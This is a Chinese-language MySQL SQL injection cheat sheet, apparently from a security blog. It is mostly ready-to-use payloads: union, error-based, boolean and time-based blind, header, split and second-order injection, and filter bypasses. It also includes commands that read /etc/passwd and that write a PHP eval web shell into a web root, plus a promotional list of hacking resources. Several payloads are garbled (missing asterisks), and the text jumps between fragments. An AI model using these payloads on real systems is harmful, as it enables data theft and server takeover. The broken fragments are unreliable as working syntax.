' union select group_concat(table_name) from information_schema.tables where table_schema=database()%23
' union select group_concat(column_name) from information_schema.columns where table_name='table1'%23 报错注入 报错注入是利用mysql在出错的时候会引出查询信息的特征,常用的报错手段有如下10种:
select from test where id=1 and (select 1 from (select count(),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
select from test where id=1 and geometrycollection((select from(select * from(select user())a)b));
select from test where id=1 and multipoint((select from(select from(select user())a)b)); 6.polygon() select from test where id=1 and polygon((select from(select from(select user())a)b)); 7.multipolygon() select from test where id=1 and multipolygon((select from(select from(select user())a)b)); 8.linestring() select from test where id=1 and linestring((select from(select from(select user())a)b)); 9.multilinestring() select from test where id=1 and multilinestring((select from(select from(select user())a)b)); 10.exp() select from test where id=1 and exp(~(select * from(select user())a)); 布尔盲注 常见的布尔盲注场景有两种,一是返回值只有True或False的类型,二是Order by盲注。
返回值只有True或False的类型
如果查询结果不为空,则返回True(或者是Success之类的),否则返回False
这种注入比较简单,可以挨个猜测表名、字段名和字段值的字符,通过返回结果判断猜测是否正确
例:parameter=’ or ascii(substr((select database()) ,1,1))<115—+ Orderby盲注
order by rand(True)和order by rand(False)的结果排序是不同的,可以根据这个不同来进行盲注:
例:order by rand(database()='pdotest') 返回了True的排序,说明database()=’pdotest’是正确的值
id=' or sleep(3)%23 id=' or if(ascii(substr(database(),1,1))>114,sleep(3),0)%23 查询结果正确,则延迟3秒,错误则无延时。 2.benchmark()
通过大量运算来模拟延时:
id=' or benchmark(10000000,sha(1))%23 id=' or if(ascii(substr(database(),1,1))>114,benchmark(10000000,sha(1)),0)%23 本地测试这个值大约可延时3秒:
3.笛卡尔积
计算笛卡尔积也是通过大量运算模拟延时:
select count() from information_schema.tables A,information_schema.tables B,information_schema.tables C select balabala from table1 where '1'='2' or if(ascii(substr(database(),1,1))>0,(select count() from information_schema.tables A,information_schema.tables B,information_schema.tables C),0) 笛卡尔积延时大约也是3秒 ① 网安学习成长路径思维导图 ② 60+网安经典常用工具包 ③ 100+SRC漏洞分析报告 ④ 150+网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南+题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集(含答案) ⑧ APP客户端安全检测指南(安卓+IOS)
HTTP头注入 注入手法和上述相差不多,就是注入点发生了变化
HTTP分割注入 常见场景,登录处SQL语句如下,其注释符号被过滤
select xxx from xxx where username=’xxx’ and password=’xxx’
username=1' or extractvalue/ password=1/(1,concat(0x7e,(select database()),0x7e))or' SQL语句最终变为 select xxx from xxx where username='1' or extractvalue/’ and password=’/(1,concat(0x7e,(select database()),0x7e))or''
username=1' or if(ascii(substr(database(),1,1))=115,sleep(3),0) or '1 password=1 select * from users where username='1' or if(ascii(substr(database(),1,1))>0,sleep(3),0) or '1' and password='1' 二次注入 二次注入主要出现在update和select结合点,如注册之后在登录
if(database()=’xxx’,sleep(3),1) id=1 and databse()=’xxx’ and sleep(3) select case when database()=’xxx’ then sleep(5) else 0 end limit被过滤 select user from users limit 1 加限制条件,如: select user from users group by user_id having user_id = 1 (user_id是表中的一个column) information_schema被过滤 innodb引擎可用mysql.innodb_table_stats、innodb_index_stats,日志将会把表、键的信息记录到这两个表中 除此之外,系统表sys.schema_table_statistics_with_buffer、sys.schema_auto_increment_columns用于记录查询的缓存,某些情况下可代替information_schema 文件读写 读写权限 在进行MySQL文件读写操作之前要先查看是否拥有权限,mysql文件权限存放于mysql表的file_priv字段,对应不同的User,如果可以读写,则数据库记录为Y,反之为N:
select load_file(file_path); load data infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取服务端文件 load data local infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取客户端文件 需要注意的是,file_path必须为绝对路径,且反斜杠需要转义: 写文件 select 1,"<?php eval($_POST['cmd']);?>" into outfile '/var/www/html/1.php'; select 2,"<?php eval($_POST['cmd']);?>" into dumpfile '/var/www/html/1.php'; 当secure_file_priv值为NULL时,可用生成日志的方法绕过:
set global general_log_file = '/var/www/html/1.php'; set global general_log = on; 日志除了general_log还有其他许多日志,实际场景中需要有足够的写入日志的权限,且需要堆叠注入的条件方可采用该方法,因此利用非常困难。